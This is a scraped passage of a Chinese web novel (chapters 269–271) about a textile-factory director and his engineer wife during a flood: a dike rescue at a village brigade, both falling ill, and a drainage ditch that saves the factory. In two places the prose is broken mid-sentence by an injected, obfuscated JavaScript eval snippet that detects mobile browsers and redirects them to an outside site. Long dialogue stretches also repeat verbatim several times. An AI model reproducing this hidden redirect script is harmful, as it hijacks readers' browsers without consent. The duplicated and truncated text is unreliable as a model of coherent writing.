纺织厂能出的人实在有限,谁让纺织厂和别的厂不一样,是女工为主? “海棠姐,我们咋办?” “小夏,这会儿雨小了,你回去请示一下谭**,各小组分两班,轮换休息,这一次的雨不知道什么时候才会结束,不能大家一起熬着,必须保存有生力量。” 康小夏冒着雨,一步步地回到厂办去,谭**因为年龄大的关系,被陆良辰留在厂办值班,康小夏将姜海棠说的话讲了一遍,谭**立即点头。 “海棠同志说得不错,我们不能全都在这里熬着。就按照姜海棠同志说的给大家通知下去。” 谭**现在已经相信陆良辰说的三天降雨了。 如果真的要连降三天雨,那只能大家轮换休息。 很快厂里的一半人回去休息了,疲惫已极的工人们回到家里却已经在风声雨声雷声中担心着,睡得并不是很踏实。 有很多人只是睡了两三个小时,就回到了岗位上。 而此时的陆良辰带着厂里的精壮小伙子投入了救灾中。 “救命啊!有没有人?”呼救声从一栋平房里传出,听得出来呼救的人已经气力不足了。 陆良辰耳力不错,听到了这个人的求救,他立即蹚水过去,从窗户看到一位白发老人被困在床上,积水已经漫到了床沿。 “大娘别怕!”陆良辰立即砸开窗户,和同伴们一起把老人抬了出来。 刚转移到绑着木板的轮胎上,就听见身后“轰”的一声,那间老房子的屋顶塌了一半。 老人被这一幕吓到了,张大嘴巴好半天没有说出一句话,然后就开始嚎啕大哭。 等她哭完了,才颤颤巍巍地抓住陆良辰的手。 她浑身发抖地说着:“同志,要不是你,老婆子这条命就没了啊……” “大娘,这里不安全,我们必须抓紧撤到安全的地方去。”陆良辰一面转移老人,一面仔细听着周围有没有人呼救。 “同志,这条街道上现在应该没人了,我的腿有问题,家里孩子们又正好不在,才留在这里,其他人应该都去安全区域了。”老大娘的情绪总算稳定下来了。 她知道自己这一次算是逃出生天了! 虽然有老大娘这话打底,但陆良辰还是尽量对周围的住宅区进行搜索,避免再有像老大娘这样的情况。 要求各厂安排人去救灾了。 她咬了咬嘴唇:“小夏,厂里怎么安排的?” “陆厂长已经分出去一部分人去城区帮忙救灾了。”康小夏如实说道:“上面给各个工厂都下了任务,要去帮忙抗洪救灾。” 姜海棠点头,多少有些心疼陆良辰。 纺织厂能出的人实在有限,谁让纺织厂和别的厂不一样,是女工为主? “海棠姐,我们咋办?” “小夏,这会儿雨小了,你回去请示一下谭**,各小组分两班,轮换休息,这一次的雨不知道什么时候才会结束,不能大家一起熬着,必须保存有生力量。” 康小夏冒着雨,一步步地回到厂办去,谭**因为年龄大的关系,被陆良辰留在厂办值班,康小夏将姜海棠说的话讲了一遍,谭**立即点头。 “海棠同志说得不错,我们不能全都在这里熬着。就按照姜海棠同志说的给大家通知下去。” 谭**现在已经相信陆良辰说的三天降雨了。 如果真的要连降三天雨,那只能大家轮换休息。 很快厂里的一半人回去休息了,疲惫已极的工人们回到家里却已经在风声雨声雷声中担心着,睡得并不是很踏实。 有很多人只是睡了两三个小时,就回到了岗位上。 而此时的陆良辰带着厂里的精壮小伙子投入了救灾中。 “救命啊!有没有人?”呼救声从一栋平房里传出,听得出来呼救的人已经气力不足了。 陆良辰耳力不错,听到了这个人的求救,他立即蹚水过去,从窗户看到一位白发老人被困在床上,积水已经漫到了床沿。 “大娘别怕!”陆良辰立即砸开窗户,和同伴们一起把老人抬了出来。 刚转移到绑着木板的轮胎上,就听见身后“轰”的一声,那间老房子的屋顶塌了一半。 老人被这一幕吓到了,张大嘴巴好半天没有说出一句话,然后就开始嚎啕大哭。 等她哭完了,才颤颤巍巍地抓住陆良辰的手。 她浑身发抖地说着:“同志,要不是你,老婆子这条命就没了啊……” “大娘,这里不安全,我们必须抓紧撤到安全的地方去。”陆良辰一面转移老人,一面仔细听着周围有没有人呼救。 “同志,这条街道上现在应该没人了,我的腿有问题,家里孩子们又正好不在,才留在这里,其他人应该都去安全区域了。”老大娘的情绪总算稳定下来了。 她知道自己这一次算是逃出生天了! 虽然有老大娘这话打底,但陆良辰还是尽量对周围的住宅区进行搜索,避免再有像老大娘这样的情况。 第269章 小芳 此刻的红旗大队,情况比姜海棠想象的还要糟糕,河堤已经出现渗漏。 村民们正用门板、棉被堵缺口,但在天灾来临的时候,人所能做的是多么的微不足道。 村**穿着一件背心跳入水中,冰冷的河水立刻淹没到他的胸口,激流冲击得他一个踉跄。 但在他的带动之下,年轻的村民们纷纷跟着跳了下去。 他们用身体组成人墙,为后方打桩争取时间。 洪水的浪头打过来,他们身上的衣服被树枝划破,露出结实黝黑的臂膀。 “村长,您年龄大了,先上去吧,我们来。”一个年轻的小伙子看着差点儿被水冲走的村**,忙高声喊道。 村**抹了把脸上的水,语气坚决地说:“我没事,还行!” 妇女同志们将一堆一堆的砂子装入从各家各户征集而来的各种袋子,然后将一袋袋砂石抛入水中,在人墙前形成一道临时屏障。 然而,村子里的人到底太少了,显然并不足以抵抗如此大的洪水,就在这时候,村民们听到远处传来的喊声。 “来人了,有人来救我们了!”一个妇女喊出这个话的时候,语气有些哽咽。 接着,更多的人开始高喊起来。 这时候,没有什么比来人救援更加值得人欢欣鼓舞的。 很快,一队大概四五十个人到了众人的视野里。 不是别人,正是陆良辰带着从厂里抽出来的工人们赶到了。 从知道红旗大队有危险后,陆良辰对相关情况进行分析之后做出决定,要来帮助红旗大队,才能从根本上解决问题。 如果红旗大队决堤,就算厂里的措施再怎么好,最终也是难逃一劫。 当陆良辰看到六十岁的老人颤抖着身体站在冰冷的水里的时候,再也顾不得其他了,立即跳入水中。 陆良辰跳入水中,冰凉的河水瞬间浸透了他的工装。 他咬紧牙关,顶着湍急的水流,一步步向老村**走去。 “老人家,您年龄大了请先上去!这里交给我们!”陆良辰大声喊道,声音几乎被洪水声淹没。 老**抹了把脸上的水,摇头说:“同志,感谢你们能来帮助我们,可我是村支书,我不能脱离岗位。” “支书同志您年龄大了,在上面指挥就行,这里有我们。” “同志,你们是哪个单位的?”村支书问道。 “我们是纺织厂的工人,您放心上去,我们来了不少人呢。” 最终,在 陆良辰的劝阻下,村支书终于上了岸。 工人们纷纷跳入水中,和村民们一起组成更坚固的人墙。 有人扛来了厂里带来的麻绳,大家互相系在腰间,以防被急流冲走。 这样村民们的安全也算有了更大的保障。 “同志们,挽起胳膊,抓好彼此,结成人墙!”陆良辰站在齐腰深的水中喊道。 妇女主任王花铃带着村里的妇女们赶过来,听村支书说了纺织厂的工人们来帮助救灾,立即招呼本村的妇女:“同志们,为了保护我们的家园,我们要齐心协力。” 许是因为有人来救援了,在场的人情绪都激动了,一个个充满干劲。 就在这时,远处又传来一阵喧哗声。 只见公社****芳带着十几个大队的民兵赶到了,他们扛着木料、铁锹等工具。 “老李!”公社**趟着水走过来,“县里已经调拨了防汛物资,正在往这边运!我们再坚持一下!” “可以请求从市里直接调拨,红旗大队距离县城太远了,从市区里运输物资,速度会快上很多。”陆良辰正好听到了,高声喊。 公社**忽然听到有人说大话,先是拧眉。 这是什么情况? 这个年轻人是谁? 懂不懂规矩? 村支书忙说:“康**,是这样的,这位是纺织厂的厂长陆良辰同志,带着人来帮我们救灾的。” 听到是纺织厂的陆良辰厂长,康**先是一愣,随后才反应过来,纺织厂,那就应该是京城纺织厂,这可是省属企业啊,难怪说话这样有底气。 “陆厂长,您怎么亲自下水了,您赶紧上来,我们来就行。”康**立即高声喊道。 不等陆良辰回答康**的话,突然,一个浪头打来,几个年轻人被冲得站立不稳。 陆良辰眼疾手快,一把抓住其中一个人的胳膊,其他人也赶紧拉住他们。 “小心!”老**喊道,“这段堤坝下面有暗流!” 陆良辰高声回应:“知道了,我们会小心的。” “陆厂长!”村支书老张在岸上喊,“上游水库可能要泄洪!” 陆良辰心头一紧。 如果水库泄洪,这脆弱的堤坝根本抵挡不住。 他看了眼身后灯火零星的村庄,咬牙道:“再坚持半小时,让妇女儿童先撤离。” “只怕有很多人不愿意离开啊,生活了一辈子的家园啊。” “做好动员工作,活命要紧。”康**立即严肃 地对村支书说道。 凌晨时分经过一整夜的奋战渗漏处终于被堵住了。 疲惫不堪的人们瘫坐在堤坝上有的直接躺在泥水里喘着粗气。 公社**清点人数时发现少了两个人。 大家顿时紧张起来正要组织搜寻却见下游处走来两个浑身是泥的人正是厂里的两个年轻工人他们被冲到下游后又自己爬了回来。 “好在我们水性还行要不就回不来了。”两个人回来之后竟然还能有闲心开玩笑。 陆良辰上前一人胸口轻轻地捶了一下然后分别抱住了他们。 两个人可没见过陆良辰这样感性的时候还真有点惊讶。 不过两个人也挺高兴的。 天蒙蒙亮时县里派来的卡车终于到了送来了草袋、木桩等物资。 卫生院的医生也赶来看到有不少人受伤了立即着手为受伤的人包扎。 老**握着陆良辰的手声音哽咽:“陆厂长要不是你们及时赶到……就靠我们大队这些人根本保不住啊。” 尤其是经历泄洪的时候村支书的心都捏成一把了。 但因为有了陆厂长带来的这几十个年轻人才能将堤坝及时维修好。 陆良辰摇摇头:“都是应该的。现在最重要的是抓紧时间加固堤坝汛期还没过去呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095115|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “陆厂长我们准备了热姜汤先让同志们喝一口暖暖身子!” 身后洪水渐渐退去红旗大队的堤坝在众人的合力下已经可以确定保住了。 虽然部分农田被淹但村庄安然无恙。 村里的妇女们就架起了大锅熬制热气腾腾的姜汤一碗碗递给浑身湿透的抢险人员。 “同志喝碗姜汤暖暖身子吧。”一个扎着麻花辫的姑娘端着碗走到陆良辰面前脸颊微红。 陆良辰接过碗道了声谢仰头一饮而尽。 “陆厂长您昨晚真是太勇敢了要不是您我们村可能就……”姑娘声音轻柔眼睛里闪着光。 陆良辰客气的笑笑:“这是大家共同的功劳我只是做了该做的事。” 姑娘咬了咬唇鼓起勇气道:“我叫小芳是村里的赤脚医生……您要是累了可以到我家歇歇脚。” 陆良辰一愣随即明白过来正色道:“小芳同志谢谢你的好意 小芳的脸瞬间涨红连忙摆手:“不不不陆厂长我不是那个意思我就是 ……” “我明白。”陆良辰温和但坚定地打断她,“你们村的乡亲们都很热情,但有些话还是说清楚比较好。” 小芳低下头,声音细如蚊呐:“对不起,是我冒失了……” 这时,村支书走了过来,见气氛有些尴尬,笑呵呵地打圆场:“小芳,那边有几个人需要包扎,你快过去看一下。” 等小芳走了,村支书才继续对陆良辰说:“陆厂长,这次多亏了你们厂里的支援,我们红旗大队欠你们一份大人情啊!” 陆良辰摆摆手:“工农一家亲,互相帮助是应该的。” 康**也走过来,十分真诚地向陆良辰道谢:“陆厂长,这次抢险,多亏了你们在啊!” 陆良辰摇头:“功劳是大家的,我们只是尽了绵薄之力。” 正说着,远处传来一阵欢呼声,第二批救灾物资到了。 红旗大队的村民们簇拥着迎接,陆良辰则默默退到一旁,准备带队回厂。 临行前,村支书紧紧握住他的手:“陆厂长,以后有啥需要帮忙的,尽管开口!” 陆良辰笑了笑:“好,有机会再合作。” 回厂的路上,工人们七嘴八舌地讨论着这次抢险的经历,有人打趣道:“厂长,那个小芳姑娘是不是对您有意思啊?” 原来,小芳姑娘的表现,大家都看到了,实际上,大家也确实是这样想的。 只是,厂长媳妇可比这个叫做小芳的姑娘要好看许多,也难怪厂长不喜欢这个小芳姑娘。 陆良辰板起脸:“别胡说,人家姑娘只是热情好客。再说了,我是有媳妇的人,知道分寸。” “嘿嘿,你们可不能胡说八道,咱们厂里谁不知道厂长是个气管炎?姜工要是知道了……” 那人越说越离谱,就差说,小芳姑娘喜欢陆厂长要是被姜工知道,厂长就要跪床头。 陆良辰瞪了那人一眼,“回去都好好休息,要是还有力气说闲话的,今天照常上班!” 众人哄笑起来,但心里对这位以身作则的厂长更加敬重。 一行人虽然在说笑,但心里却是非常着急的,毕竟,厂里也有潜在危险。 第270章 发烧 当陆良辰一行人风尘仆仆地赶回纺织厂时,天色已经大亮。 厂区里一片忙碌景象,工人们正在按照防汛预案加固厂房、转移物资。 陆良辰顾不上休息,立即召集各部门负责人开会,安排厂里的防汛工作。 会议进行到一半,秘书小王匆匆跑进来,低声说:“厂长,姜工好像不太舒服,刚才差点晕倒。” 陆良辰手中的钢笔“啪”地掉在桌上,他猛地站起身:“谭**,请您继续主持召开会议,我去看看。” 谭**点头:“陆厂长,你送姜工去医院看看,自己也检查一下,你们两口子可不能有事。” 陆良辰点头之后,跟着秘书朝外走去。 很快,就到了姜海棠几个人临时休息的旧厂房里,推开门就看到姜海棠正靠在墙上,脸颊泛着不正常的潮红。 几个女同志围在一旁,手足无措。 “海棠!”陆良辰三步并作两步冲过去,伸手摸上她的额头,触手滚烫,“你发烧了!” 他一把将她打横抱起,就要朝着外面走。 “我没事……”姜海棠虚弱的**,“还有很多事要……” “闭嘴。”陆良辰难得强硬地打断她,“现在你听我的。” 陆良辰不由分说朝着外面走,又对其他人说:“该休息的时候要休息,食堂里煮了红糖生姜水,你们都去喝一点,要是不舒服,就去医务室。” 医务室里,厂医给姜海棠量了体温,皱眉道:“39度2,得赶紧退烧。姜工这是过度劳累加上着凉引起的。” 陆良辰心疼地看着妻子苍白的脸色,想起昨晚她冒雨的情景,自责道:“都怪我,没有照顾好你。” 姜海棠虚弱地笑了笑:“说什么傻话……这事儿怎么能怪你?红旗大队的情况怎么样?” “堤坝保住了。”陆良辰握住她的手,“现在你什么都别想,好好休息。” 厂医拿来退烧药和温水,陆良辰小心地扶起姜海棠,让她靠在自己怀里吃药。、 药片刚咽下,姜海棠突然剧烈咳嗽起来,咳得整个人都在发抖。 “怎么咳得这么厉害?”陆良辰紧张地问厂医:“大夫,大夫,这是什么情况?” 厂医检查后说:“肺部有轻微感染,最好去医院看看,我们这里不太好做检查。” 陆良辰二话不说,脱下自己的外套裹住姜海棠,一把将她抱起:“我送你去医院。” “等等……”姜海棠挣扎着说,“我自己去就行了,你厂里还 有工作……” “厂里还有其他领导在,可你的家人只有我一个人,这时候,我一定要照顾好你。” 陆良辰难得对妻子板起脸,“现在你的任务就是好好治病!” 他抱着姜海棠快步走向厂门口,路上遇到闻讯赶来的刘红梅。 “哎哟,陆厂长,海棠这是严重了?”刘红梅关切地问。 “发高烧,肺部感染,我现在送她去医院。”陆良辰简短地回答。 刘大姐连忙说:“小胡已经过来了,陆厂长你昨晚抢险一夜没睡,让司机送你们去,快一点。” 果然,小胡已经开着吉普车到了门口,陆良辰小心翼翼地把姜海棠放在后座,自己坐在她身边,让她靠着自己。 刘红梅不放心,坚持跟着上了车。 车子启动后,姜海棠迷迷糊糊的,终于闭上眼睛休息。 陆良辰看着她憔悴的面容,心里一阵酸楚。 他知道姜海棠是个对工作责任心很强的人,但这样高强度的工作,确实让海棠的身体受到了伤害,等这次事情过去之后,一定要让海棠好好休息一段时间。 到了医院,医生诊断是重感冒引发肺炎,需要住院治疗。 陆良辰办好手续,守在病床边,看着点滴一滴滴落下。 护士来换药时,忍不住说:“同志,你也去休息一下吧,眼睛都熬红了。” 陆良辰摇摇头:“我没事。” 他轻轻握住姜海棠打点滴的手,那手因为发烧而滚烫。 “陆厂长,我协调在这边加了一张小床,您在小床上躺会儿,要是海棠醒来看到您这个情况,会心疼的。”刘红梅走进病房的门,小声对陆良辰说道。 陆良辰确实有点熬不住了,他觉得自己也有点发热了,便找护士开了药吃了,然后躺在小床上,还不忘记抓住姜海棠的手。 不知过了多久,姜海棠慢慢睁开眼睛,看到丈夫躺在旁边的小床上,再看看,刘红梅坐在床头守着她,挣扎着挤出一抹笑容。 “我这是怎么了,红梅姐,又让你们为我费心了。” “你也太拼命了些,好好躺着,别动……”刘红梅将陆良辰倒了杯温水,扶她慢慢喝下,“你现在什么都别想,专心养病。” 姜海棠看着她疲惫的面容,心疼地说:“红梅姐,你也好好休息一下……” 一旁的陆良辰许是感觉到姜海棠醒来了,也立即睁开了眼睛。 “海棠,你觉得怎么样?可有不舒服的地方?要是有什么不舒服的,给我 说,我现在就去找大夫。” 陆良辰到底身体好些,吃了药又睡了一会儿,已经好多了。 “我没事了,已经轻快许多了。你们都回去休息吧,我一个人在医院就行了。” “陆厂长,您先回厂里主持大局,我留在这里照顾海棠。” 陆良辰虽然很想陪在妻子身边,可是,也知道现在真不是儿女情长的时候,既然海棠的身体好多了,他也打算回到厂里去了。 “拿好,等我回厂里之后,安排人来接替你,刘主任。” 正说着,病房门被推开,谭**带着几个厂领导走了进来,手里还提着水果和营养品。 “姜工,你好点了吗?”谭**关切地问。 姜海棠想坐起来,被陆良辰按住:“别动,小心针头。谭**也不是外人。” 谭**把东西放下,笑着说:“陆厂长,厂里一切都好,防汛工作按计划进行,你也休息一下,别累垮了身体。” 陆良辰刚要拒绝,姜海棠就轻轻推他:“你去睡会儿吧,我没事了。” 在众人的劝说下,陆良辰终于同意再去休息片刻。 这一觉睡得并不踏实,陆良辰梦见洪水冲进了厂区,姜海棠站在齐腰深的水中抢救设备他猛地惊醒,发现窗外已经暮色沉沉。 他急忙起身去看姜海棠,发现她正靠在床头看他。 看到陆良辰醒来,姜海棠笑道:“你醒了,饿了吧,先吃点儿饭。” 陆良辰伸手摸她的额头,烧确实退了不少。 他这才放下心来:“总算好了一些,今晚再睡一觉,明天打一天吊针,应该就好了。” 姜海棠点点头,从床头柜上拿过饭盒给陆良辰:“厂里送来的,还是热的。” 陆良辰接过饭盒,温热透过掌心传来。他这才意识到自己确实饿了,打开饭盒,里面是热腾腾的米饭和两样小菜。 “你也吃点?”他轻声问姜海棠。 姜海棠摇摇头:“我刚吃过药,没什么胃口,不过我吃了,只是吃得不多。“ 陆良辰三两口扒完饭,放下饭盒时,发现姜海棠正望着窗外出神。 顺着她的目光看去,窗外雨丝绵绵,天色阴沉。 “在想什么?”他坐到床边,握住姜海棠的手,果然,温度已经降下来了。 姜海棠收回目光,轻叹一声:“我在想今天晚上可能还有雨……” 上辈子好像是持续下了三天的雨! 陆良辰捏了捏她的手:“别担心,有情况厂里会 立刻通知我们。” 话虽然这么说,但作为厂长,陆良辰心里确实是担心的。 正说着,病房门被轻轻推开,护士端着药盘走了进来:“姜海棠,该吃药了。” 护士离开后,姜海棠突然抓住陆良辰的手:“良辰,我不太放心厂里……” “你现在需要休息。”陆良辰皱眉。 “听我说完,”姜海棠坚持道,“我刚才琢磨,我们可以在厂房外围挖一条导流渠,把雨水引到厂区后面的池塘。这样即使雨势再大,也能减轻厂房压力,只要红旗大队那边不决堤,这点内涝我们能承受!” 陆良辰眼前一亮,但很快又摇头:“这个方案好是好。” “组织一个突击队,连夜施工,应该来得及。” 看着姜海棠因病而略显苍白的脸上那抹执着的亮色,陆良辰既心疼又敬佩。 他沉默片刻,终于点头:“好,我这就回厂里安排。不过你得答应我,好好休息,不准再操心工作的事。” 姜海棠露出放心的笑容:“我保证。” 陆良辰拉了一下她的手,正要离开,他迎面碰上提着热水壶回来的康小夏。 “陆厂长,您这是要回到厂里去?” “天气不是很好,我得回去一趟。”陆良辰脚步不停,“海棠就拜托你了。” “陆厂长,您放心吧,我一定把海棠照顾得好好的。” 立刻通知我们。” 话虽然这么说,但作为厂长,陆良辰心里确实是担心的。 正说着,病房门被轻轻推开,护士端着药盘走了进来:“姜海棠,该吃药了。” 护士离开后,姜海棠突然抓住陆良辰的手:“良辰,我不太放心厂里……” “你现在需要休息。”陆良辰皱眉。 “听我说完,”姜海棠坚持道,“我刚才琢磨,我们可以在厂房外围挖一条导流渠,把雨水引到厂区后面的池塘。这样即使雨势再大,也能减轻厂房压力,只要红旗大队那边不决堤,这点内涝我们能承受!” 陆良辰眼前一亮,但很快又摇头:“这个方案好是好。” “组织一个突击队,连夜施工,应该来得及。” 看着姜海棠因病而略显苍白的脸上那抹执着的亮色,陆良辰既心疼又敬佩。 他沉默片刻,终于点头:“好,我这就回厂里安排。不过你得答应我,好好休息,不准再操心工作的事。” 姜海棠露出放心的笑容:“我保证。” 陆良辰拉了一下她的手,正要离开,他迎面碰上提着热水壶回来的康小夏。 “陆厂长,您这是要回到厂里去?” “天气不是很好,我得回去一趟。”陆良辰脚步不停,“海棠就拜托你了。” “陆厂长,您放心吧,我一定把海棠照顾得好好的。” 立刻通知我们。” 话虽然这么说,但作为厂长,陆良辰心里确实是担心的。 正说着,病房门被轻轻推开,护士端着药盘走了进来:“姜海棠,该吃药了。” 护士离开后,姜海棠突然抓住陆良辰的手:“良辰,我不太放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095116|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心厂里……” “你现在需要休息。”陆良辰皱眉。 “听我说完,”姜海棠坚持道,“我刚才琢磨,我们可以在厂房外围挖一条导流渠,把雨水引到厂区后面的池塘。这样即使雨势再大,也能减轻厂房压力,只要红旗大队那边不决堤,这点内涝我们能承受!” 陆良辰眼前一亮,但很快又摇头:“这个方案好是好。” “组织一个突击队,连夜施工,应该来得及。” 看着姜海棠因病而略显苍白的脸上那抹执着的亮色,陆良辰既心疼又敬佩。 他沉默片刻,终于点头:“好,我这就回厂里安排。不过你得答应我,好好休息,不准再操心工作的事。” 姜海棠露出放心的笑容:“我保证。” 陆良辰拉了一下她的手,正要离开,他迎面碰上提着热水壶回来的康小夏。 “陆厂长,您这是要回到厂里去?” “天气不是很好,我得回去一趟。”陆良辰脚步不停,“海棠就拜托你了。” “陆厂长,您放心吧,我一定把海棠照顾得好好的。” 立刻通知我们。” 话虽然这么说,但作为厂长,陆良辰心里确实是担心的。 正说着,病房门被轻轻推开,护士端着药盘走了进来:“姜海棠,该吃药了。” 护士离开后,姜海棠突然抓住陆良辰的手:“良辰,我不太放心厂里……” “你现在需要休息。”陆良辰皱眉。 “听我说完,”姜海棠坚持道,“我刚才琢磨,我们可以在厂房外围挖一条导流渠,把雨水引到厂区后面的池塘。这样即使雨势再大,也能减轻厂房压力,只要红旗大队那边不决堤,这点内涝我们能承受!” 陆良辰眼前一亮,但很快又摇头:“这个方案好是好。” “组织一个突击队,连夜施工,应该来得及。” 看着姜海棠因病而略显苍白的脸上那抹执着的亮色,陆良辰既心疼又敬佩。 他沉默片刻,终于点头:“好,我这就回厂里安排。不过你得答应我,好好休息,不准再操心工作的事。” 姜海棠露出放心的笑容:“我保证。” 陆良辰拉了一下她的手,正要离开,他迎面碰上提着热水壶回来的康小夏。 “陆厂长,您这是要回到厂里去?” “天气不是很好,我得回去一趟。”陆良辰脚步不停,“海棠就拜托你了。” “陆厂长,您放心吧,我一定把海棠照顾得好好的。” 立刻通知我们。” 话虽然这么说,但作为厂长,陆良辰心里确实是担心的。 正说着,病房门被轻轻推开,护士端着药盘走了进来:“姜海棠,该吃药了。” 护士离开后,姜海棠突然抓住陆良辰的手:“良辰,我不太放心厂里……” “你现在需要休息。”陆良辰皱眉。 “听我说完,”姜海棠坚持道,“我刚才琢磨,我们可以在厂房外围挖一条导流渠,把雨水引到厂区后面的池塘。这样即使雨势再大,也能减轻厂房压力,只要红旗大队那边不决堤,这点内涝我们能承受!” 陆良辰眼前一亮,但很快又摇头:“这个方案好是好。” “组织一个突击队,连夜施工,应该来得及。” 看着姜海棠因病而略显苍白的脸上那抹执着的亮色,陆良辰既心疼又敬佩。 他沉默片刻,终于点头:“好,我这就回厂里安排。不过你得答应我,好好休息,不准再操心工作的事。” 姜海棠露出放心的笑容:“我保证。” 陆良辰拉了一下她的手,正要离开,他迎面碰上提着热水壶回来的康小夏。 “陆厂长,您这是要回到厂里去?” “天气不是很好,我得回去一趟。”陆良辰脚步不停,“海棠就拜托你了。” “陆厂长,您放心吧,我一定把海棠照顾得好好的。” 立刻通知我们。” 话虽然这么说,但作为厂长,陆良辰心里确实是担心的。 正说着,病房门被轻轻推开,护士端着药盘走了进来:“姜海棠,该吃药了。” 护士离开后,姜海棠突然抓住陆良辰的手:“良辰,我不太放心厂里……” “你现在需要休息。”陆良辰皱眉。 “听我说完,”姜海棠坚持道,“我刚才琢磨,我们可以在厂房外围挖一条导流渠,把雨水引到厂区后面的池塘。这样即使雨势再大,也能减轻厂房压力,只要红旗大队那边不决堤,这点内涝我们能承受!” 陆良辰眼前一亮,但很快又摇头:“这个方案好是好。” “组织一个突击队,连夜施工,应该来得及。” 看着姜海棠因病而略显苍白的脸上那抹执着的亮色,陆良辰既心疼又敬佩。 他沉默片刻,终于点头:“好,我这就回厂里安排。不过你得答应我,好好休息,不准再操心工作的事。” 姜海棠露出放心的笑容:“我保证。” 陆良辰拉了一下她的手,正要离开,他迎面碰上提着热水壶回来的康小夏。 “陆厂长,您这是要回到厂里去?” “天气不是很好,我得回去一趟。”陆良辰脚步不停,“海棠就拜托你了。” “陆厂长,您放心吧,我一定把海棠照顾得好好的。” 第271章 见效了 陆良辰的身影消失在走廊尽头病房里重归安静。 姜海棠望着紧闭的房门虽然身体依旧虚弱沉重高烧带来的眩晕感还未完全消退但心头那块压着的大石仿佛被带走了。 “海棠姐喝点热水吧。”康小夏倒了杯温水小心地递过来脸上满是关切“陆厂长回去安排可别再费神了省得病情加重。” 姜海棠接过水杯温热的触感让她舒服了些她勉强笑了笑:“好听你的辛苦你了小夏。” 她确实感到一阵强烈的疲惫袭来闭上眼就算心里还有许多担忧的事情却也非常快地入睡了。 陆良辰回到纺织厂雨势渐大。 陆良辰立即召集骨干开会将姜海棠的建议和意见说了一遍经过简短讨论大家一致认为可行。 “立刻组织突击队!”陆良辰拍板“后勤组准备姜汤和雨具务必在天亮前完成导流渠工程!“ 深夜的厂区灯火通明 陆良辰亲自在现场指挥雨水顺着他的雨衣帽檐不断滴落。 有些事真的落实起来其实比预想的要快上一些。 凌晨三点导流渠终于贯通。 看着雨水顺着新挖的沟渠哗哗流向远处的池塘工人们发出欢呼。 陆良辰长舒一口气这才感到一阵眩晕他的感冒似乎加重了。 “陆厂长您脸色很差去医院看看吧。”小张担忧地说。 陆良辰摆摆手:“我没事。你们轮流休息保持警戒。” 说完他强撑着走向办公室想给医院再打个电话却在推门瞬间腿一软险些栽倒。 “陆厂长!”恰好路过的谭**一个箭步扶住他触手滚烫“天哪你在发高烧!得去医院总不能给仗着年轻就糟践身体。” 不由分说谭**叫来司机强行将陆良辰送往医院。 当陆良辰再次醒来时发现自己躺在病床上手背上扎着点滴。 转头看去隔壁床的姜海棠正红着眼睛看他。 “你……”他嗓子嘶哑得厉害。 “别说话。”姜海棠递来温水“医生说你过度劳累高烧39度5再晚来一会儿就可能转成肺炎。” 陆良辰乖乖喝水然后问:“海棠你身体好了吗?” 姜海棠笑着嗔他一眼:“你现在可比我严重还是想想你自己吧。” 说完这句话姜海棠不由笑出声:“我们现在是病友了难夫难妻!” 瞧着姜海棠的状态不错,陆良辰倒是安心了许多。 “厂里来电话,说今早的暴雨完全被导流渠引走,厂房安然无恙。就算后续雨势加大问题也不大。 陆良辰露出欣慰的笑容,突然剧烈咳嗽起来。 姜海棠连忙按铃叫护士,一边轻拍他的背。 护士检查后说:“肺部有轻微感染,需要继续观察。 待护士离开,病房恢复安静。 雨声敲打着窗户,陆良辰和姜海棠隔空相望,不约而同地笑了。 “我们这真的是‘同病相怜。陆良辰没忍住笑着说。 一句话刚说完,又是一阵剧烈的咳嗽。 姜海棠示意他别说话,轻声道:“睡吧,我在这儿陪你。“ 不知道什么时候,阳光穿过雨后的云层,透过窗帘缝隙洒进病房。 两个疲惫不堪的人都睡着了。 姜海棠是第二天晚上出院回到厂里的。 原本,大夫说,再住一天,可姜海棠坚持要出院,大夫只能给她开了药。 又再三叮嘱,如果有不舒服的地方,一定抓紧回来。 车子驶入厂区,眼前的景象让她精神一振。 厂区道路虽然还有些泥泞,但明显经过了清理。 最引人注目的是厂房外围,一条新挖的、环绕了大半个厂区的导流渠已经成型,渠壁用编织袋装土进行了加固,渠内水流汩汩,正有序地将雨水引向厂后的池塘。 很快,车子到了家属院,家属院里,有许多人在等着她回来,小桃子从人群中钻出来,扑进姜海棠怀里:“妈妈好厉害! 姜海棠抱起女儿,亲了一口。 刘红梅问道:“海棠,你这么早出院,身体恢复了吗? 姜海棠还有一点微微的咳嗽,她轻咳两声后说:“炎症控制住了,烧也彻底退了,大夫说注意休息就行,我想着躺在医院里也没什么可干的,就回来了。 “大夫可还说了,让你回去后一定要注意休息,不能劳累,你这身体透支得太厉害,需要时间调养。康小夏将被姜海棠忽略的部分给补全了。 姜海棠原本没想说这些,却不想都被康小夏给说出来了,她立即制止康小夏,可康小夏才不搭理,而是直接在刘红梅跟前告状。 “大夫说,应该再住两天的,海棠姐就是不同意,一定要出院。 听康小夏这么说,刘红梅立即说道:“那你赶快去床上躺着,可别辛苦了,这几天,我们给你打饭,让张师傅给你做营 养餐。” “是啊,姜工,您可得好好休息!” “姜工,多亏了你的主意啊!这渠可管大用了!” “我这几天顺路给姜工送饭……” 问候声和感谢声此起彼伏,充满了真挚的热情。 